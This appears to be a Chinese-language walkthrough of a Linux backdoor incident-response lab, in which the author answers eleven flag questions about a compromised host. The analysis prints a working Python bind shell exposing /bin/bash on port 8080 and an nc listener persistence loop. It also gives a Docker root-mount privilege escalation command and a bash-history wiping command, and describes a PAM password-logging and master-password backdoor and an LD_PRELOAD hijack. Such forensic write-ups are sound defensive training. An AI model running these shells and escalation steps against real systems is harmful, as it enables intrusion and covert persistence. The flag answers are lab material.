Linux后门应急

最后更新于 2025-01-09 1119 字 预计阅读时间: 5 分钟


ssh连接进靶机

1、主机后门用户名称:提交格式如:flag{backdoor}

查看/etc/passwd发现有可疑账户

flag{backdoor}

2、主机排査项中可以发现到flagt}内以i开头的flag,如flag{ixxxxxxx}

执行ps -aux后发现有进程执行nc -lvp 9999和flag

flag{infoFl4g}

3、主机排査发现9999端口是通过哪个配置文件如何开机启动的,如/etc/crontab则填写/etc/crontab 的md5提交方式示例:flag{md5}

关于linux开机自启动

大多数现代Linux使用systemd服务实现开机自启动。开机自动项目在/etc/systemd/system和/usr/lib/systemd/system下,前者为用户自定义开机自启动项目,后者为系统自启动项目

  • 进入/etc/systemd/system
  • 新建service文件test.service
  • 增加执行权限chmod +x /etc/systemd/test.service
  • 重新加载配置文件systemctl daemon-reload

在旧版本的linux下使用 /etc/rc.local来设置开机自启动项目,直接编辑/etc/rc.local添加即可,/etc/rc.local是/etc/rc.d/rc.local的软链接

查找/etc/rc.d/rc.local找到

while true;do nohup nc -lvp 9999 -c "flag{infoFl4g}" 2>&1 ;sleep 1;done;

flag{cf8a978fe83579e2e20ec158524d8c06}

4、黑客3s做了记录所有用户的每次登陆的密码的手段,flag为黑客记录的登陆密码日志路径md5,提交方式示例:flag{md5(路径)}

linux登录基于pam,提取pam_unix.so逆向分析

找到pam_sm_authenticate函数

发现打开了/tmp/.sshd并且还比较另一个字符串,如果不相等则进入正确状态

/tmp/.sshlog flag{8997d5a1b8dcca5a4be75962250959f7}

5、给出使用了/bin/bash 的RCE后门进程名称+端口号 如进程名称为sshd,端口号为22,则flag{sshd22)

在/etc/systemd/system筛选grep ExecStart *得到各个启动项目,发现docker-compose.service启动了一个sh

存在base64

import socket, subprocess

# Create socket object
s = socket.socket()
s.bind(('', 8080))
s.listen(1)

# Continuously accept connections
while True:
    conn, addr = s.accept()
    try:
        # Launch bash shell connected to this socket
        subprocess.call(['/bin/bash'], stdin=conn, stdout=conn, stderr=conn)
    finally:
        # Ensure the connection is closed after use
        conn.close()

发现用python启用了一个直连shell

flag{python38080}

6、找出开机启动的后门服务名称MD5,提交flag(md5(服务名)}

见5

docker-compose-app.service
flag{5213e47de16522f1dc3f9e9ecc0ab8b0}

7、渗透提权获得root目录下的flag

输入id发现有docker的权限,尝试进行docker提权,将根目录挂载到容器任意目录下

docker run -v /:/mnt -it alpine

进入容器cat /mnt/root/flag得到flag

flag{ATMB_root}

8、黑客3s埋了一个flag在权限维持过程中的地方,可以发现flag()括号内的首字母是c开头,如flag{cxxxxxxx)

查看定时任务

/etc/crontab是系统的系统任务

crontab -l和crontab -e是各个用户的系统任务列表/编辑但是可以在后面加截断并且在后面加上no crontab for root迷惑。crontab -e删除截断后crontab -l得到flag

flag{cr0nt4b_IRfind}

9、黑客3s做了一个root用户执行cat命令就删除文件的操作,请发现删除了什么文件将文件名作为flag提交

执行ldd /bin/cat发现cat链接了一个自定义的so文件

下载并放入ida查看得到

flag{.bash_history}

也可以strace -f -e trace=file /bin/cat

这里存在LD劫持

LD_PRELOAD是Linux系统中的一个环境变量,用于在程序运行时动态加载指定的共享库。LD_PRELOAD的作用是在程序运行前,将指定的共享库加载到程序的内存中。这样,程序在运行时会优先使用该共享库中的符号,而不是系统默认的符号。LD_PRELOAD可以用于替换程序本身的函数,增加程序的功能或者调试程序。cat执行write函数时先从LD_PRELOAD环境变量中的so文件寻找而不是调用原生write函数

10、黑客3s很执着清理痕迹,并做了一个持续删痕迹的手段,请发现手段并给出删除的完整黑客删除命令的md5,如flag{md5(rm-f/var/log/ssh.log >/dev/stdout)}

见9

rm -rf ~/.bash_history >/dev/null 2>&1
flag{b0f531b39d88d4f603fc89bd4dd2c0aa}

11、黑客3s设置了一个万能密码后门使得这一个万能密码可以以所有用户身份登陆,也不影响原来密码使用。请发现这个万能密码,提交fag格式为flag{万能密码)

见4

flag{ATMB6666}
此作者没有提供个人介绍。
最后更新于 2025-01-09